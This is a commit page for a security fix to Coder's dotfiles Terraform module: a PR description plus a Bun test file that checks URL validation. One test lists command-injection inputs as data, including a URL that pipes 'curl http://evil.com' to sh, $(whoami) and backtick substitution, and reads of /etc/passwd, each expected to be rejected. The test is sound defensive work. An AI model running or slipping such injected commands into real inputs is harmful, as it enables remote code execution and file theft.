8e68c96633
## Description Add's Validation to the dotfiles module in all input's to address security issue pointed out in https://github.com/coder/security/issues/119 <!-- Briefly describe what this PR does and why --> ## Type of Change - [ ] New module - [ ] New template - [X] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information <!-- Delete this section if not applicable --> **Path:** `registry/coder/modules/dotfiles` **New version:** `v1.2.4` **Breaking change:** [ ] Yes [X] No ## Testing & Validation - [Y] Tests pass (`bun test`) - [Y] Code formatted (`bun fmt`) - [ ] Changes tested locally ## Related Issues https://github.com/coder/security/issues/119 <!-- Link related issues or write "None" if not applicable --> --------- Co-authored-by: Jakub Domeracki <jakub@coder.com>
68 lines
1.9 KiB
TypeScript
68 lines
1.9 KiB
TypeScript
import { describe, expect, it } from "bun:test";
|
|
import {
|
|
runTerraformApply,
|
|
runTerraformInit,
|
|
testRequiredVariables,
|
|
} from "~test";
|
|
|
|
describe("dotfiles", async () => {
|
|
await runTerraformInit(import.meta.dir);
|
|
|
|
testRequiredVariables(import.meta.dir, {
|
|
agent_id: "foo",
|
|
});
|
|
|
|
it("default output is empty string", async () => {
|
|
const state = await runTerraformApply(import.meta.dir, {
|
|
agent_id: "foo",
|
|
});
|
|
expect(state.outputs.dotfiles_uri.value).toBe("");
|
|
});
|
|
|
|
it("accepts valid git URL formats", async () => {
|
|
const validUrls = [
|
|
"https://github.com/coder/dotfiles",
|
|
"https://github.com/coder/dotfiles.git",
|
|
"git@github.com:coder/dotfiles.git",
|
|
"git://github.com/coder/dotfiles.git",
|
|
"ssh://git@github.com/coder/dotfiles.git",
|
|
];
|
|
for (const url of validUrls) {
|
|
const state = await runTerraformApply(import.meta.dir, {
|
|
agent_id: "foo",
|
|
dotfiles_uri: url,
|
|
});
|
|
expect(state.outputs.dotfiles_uri.value).toBe(url);
|
|
}
|
|
});
|
|
|
|
it("rejects invalid or malicious URLs", async () => {
|
|
const invalidUrls = [
|
|
"https://github.com/user/repo; curl http://evil.com | sh",
|
|
"https://github.com/$(whoami)/repo",
|
|
"https://github.com/`id`/repo",
|
|
"https://github.com/user/repo|cat /etc/passwd",
|
|
"file:///etc/passwd",
|
|
"not-a-valid-url",
|
|
];
|
|
for (const url of invalidUrls) {
|
|
await expect(
|
|
runTerraformApply(import.meta.dir, {
|
|
agent_id: "foo",
|
|
dotfiles_uri: url,
|
|
}),
|
|
).rejects.toThrow();
|
|
}
|
|
});
|
|
|
|
it("set custom order for coder_parameter", async () => {
|
|
const order = 99;
|
|
const state = await runTerraformApply(import.meta.dir, {
|
|
agent_id: "foo",
|
|
coder_parameter_order: order.toString(),
|
|
});
|
|
expect(state.resources).toHaveLength(2);
|
|
expect(state.resources[0].instances[0].attributes.order).toBe(order);
|
|
});
|
|
});
|